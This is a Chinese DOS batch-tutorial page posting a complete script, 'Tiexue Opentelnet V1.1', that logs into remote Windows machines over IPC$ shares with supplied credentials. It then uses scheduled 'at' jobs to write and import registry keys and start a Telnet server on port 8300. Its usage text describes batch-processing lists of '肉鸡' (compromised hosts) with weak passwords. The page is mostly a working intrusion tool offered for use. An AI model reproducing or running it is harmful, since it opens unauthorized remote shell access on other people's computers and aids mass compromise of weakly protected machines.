当前位置:DOS资源站资料中心批处理教程 → 开telnet的批处理

开telnet的批处理

减小字体 增大字体 作者:佚名  来源:本站整理  发布时间:2008-4-18 16:27:07

代码如下
@echo off&title DOS资源站 www.cmdos.net
color 3e
cls

Rem ==========================以下是ipc.bat的内容====================================
echo @echo off  >ipc.bat
echo echo 正在连接%%1...    >>ipc.bat
echo echo.    >>ipc.bat
echo net use \\%%1\ipc$ %%3 /user:%%2 ^& IF errorlevel 1 goto :Error    >>ipc.bat
echo echo 正在查询%%1的当前时间    >>ipc.bat
echo echo.    >>ipc.bat
echo net time \\%%1 /set /y ^& IF errorlevel 1 goto :Error    >>ipc.bat
echo for /f "tokens=1,2 delims=:"  %%%%i in ("%%time%%") do set /a hh=%%%%i ^& set /a mm=%%%%j    >>ipc.bat
echo echo %%1当前时间为%%hh%%:%%mm%%    >>ipc.bat
echo set /a mm=%%mm%%+1    >>ipc.bat
echo if /i %%mm%% geq 60 set /a mm=0 ^& set /a hh=%%hh%%+1    >>ipc.bat
echo if /i %%hh%% geq 24 set /a hh=0    >>ipc.bat
echo set tm=%%hh%%:%%mm%%    >>ipc.bat
echo echo.    >>ipc.bat
echo echo 设置启动telnet的时间为%%tm%%    >>ipc.bat
echo echo.    >>ipc.bat
echo at \\%%1 %%tm%% net stop telnet  ^& IF errorlevel 1 goto :Error    >>ipc.bat
echo echo.    >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo Windows Registry Editor Version 5.00 ^^^>telnet.reg  ^& IF errorlevel 1 goto :Error    >>ipc.bat
echo echo.    >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] ^^^>^^^> telnet.reg  ^& IF errorlevel 1 goto :Error    >>ipc.bat
echo echo.    >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo """NTLM"""=dword:00000001   ^^^>^^^>telnet.reg   ^& IF errorlevel 1 goto :Error    >>ipc.bat
echo echo.    >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo """TelnetPort"""=dword:0000206C    ^^^>^^^>telnet.reg   ^& IF errorlevel 1 goto :Error    >>ipc.bat
echo echo.    >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tlntsvr]   ^^^>^^^>telnet.reg ^& IF errorlevel 1 goto :Error    >>ipc.bat
echo echo.    >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo """Type"""=dword:00000010  ^^^>^^^>telnet.reg  ^& IF errorlevel 1 goto :Error    >>ipc.bat
echo echo.    >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo  """Start"""=dword:00000002  ^^^>^^^>telnet.reg ^& IF errorlevel 1 goto :Error    >>ipc.bat
echo echo.    >>ipc.bat
echo set /a mm=%%mm%%+1    >>ipc.bat
echo if /i %%mm%% geq 60 set /a mm=0 ^& set /a hh=%%hh%%+1    >>ipc.bat
echo if /i %%hh%% geq 24 set /a hh=0    >>ipc.bat
echo set tm=%%hh%%:%%mm%%    >>ipc.bat
echo at \\%%1 %%tm%%  regedit /s telnet.reg  ^& IF errorlevel 1 goto :Error    >>ipc.bat
echo echo.    >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo  cls ^^^^^^^& echo ***************************铁血Telnet系统欢迎你*******************************  ^^^> %%%%cd%%%%\login.cmd  ^& IF errorlevel 1 goto :Error    >>ipc.bat
echo echo.    >>ipc.bat
echo at \\%%1 %%tm%%  net start telnet  ^& IF errorlevel 1 goto :Error    >>ipc.bat
echo echo.    >>ipc.bat
echo echo 最多再过120秒,telnet服务就会被启动,请稍侯...    >>ipc.bat
echo goto :BYE    >>ipc.bat
echo :Error    >>ipc.bat
echo echo.    >>ipc.bat
echo net use \\%%1\ipc$ /del /y    >>ipc.bat
echo echo %%1出现错误,命令不能成功完成!    >>ipc.bat
echo echo.    >>ipc.bat
echo goto :exit    >>ipc.bat
echo :BYE    >>ipc.bat
echo echo.    >>ipc.bat
echo net use \\%%1\ipc$ /del /y    >>ipc.bat
echo echo %%1成功完成所有命令    >>ipc.bat
echo echo.    >>ipc.bat
echo :exit    >>ipc.bat
echo echo ------------------------------------------------------    >>ipc.bat
echo exit   >>ipc.bat
Rem ======================================完======================================

if {%1}== {}  goto Usage
if {%2}== {}  goto File
if {%3}== {}  goto Usage
if not {%3}== {}  goto port
:Usage
cls
echo ======================================================
echo                 铁血-Opentelnet  V1.1                                             
echo            Download by  小凤居    ChineseHack.org
echo ======================================================
echo 完全用批处理写的远程开启telnet服务的工具,可自定义端口(默认端口为8300)。
echo 现在不依赖管理共享了。
echo 作者:铁血
echo 主页:http://txhak.myrice.com/
echo 邮箱:txhak@etang.com
echo QQ:   22540685
echo txtelnet.bat [IP] [用户名] [密码]
echo txtelnet.bat [肉鸡文件]
echo 如果指定肉鸡文件批处理将从文件中读取ip 用户名 密码
echo 肉鸡文件的文件格式为ip 用户名 密码。空格隔开。
echo 例1:txtelnet 192.168.0.2 user ""
echo 例2:txtelnet file.txt
echo 肉鸡文件格式如下(空格隔开):
echo 192.168.0.1 user ""
echo 192.168.0.2 administrator 123
echo 192.168.0.24 administrator admin
echo 注意:60秒后执行:c:^>telnet ip 8300
echo ------------------------------------------------------
goto :exit
:File
echo ======================================================
echo                 铁血-Opentelnet  V1.1           
echo ======================================================
if not exist %1 goto  Usage
for /f "tokens=1-3 delims= "  %%i in (%1) do  start /b /wait ipc.bat %%i %%j %%k
goto exit
:port
echo ======================================================
echo                 铁血-Opentelnet  V1.1      
echo ======================================================
start /b /wait ipc.bat %1 %2 %3
:exit
 

  • ·上一篇文章:BAT命令查询和命令验证工具
  • ·下一篇文章:if中gtr的特殊应用
  • ·百度中搜索更多的关于“开telnet的批处理”相关内容
  • ·谷歌中搜索更多的关于“开telnet的批处理”相关内容
  • ******申明******
  • 本站文章内容有部分为收录网络中其他网友内容,DOS资源站不保证所有的代码都适合你使用。
  • 由于编辑匆忙,有可能造成某些脚本文件出现丢失代码或代码无法运行的情况,请网友根据情况自行修改。
  • 如果能将出错部分反馈给我,那就更好了。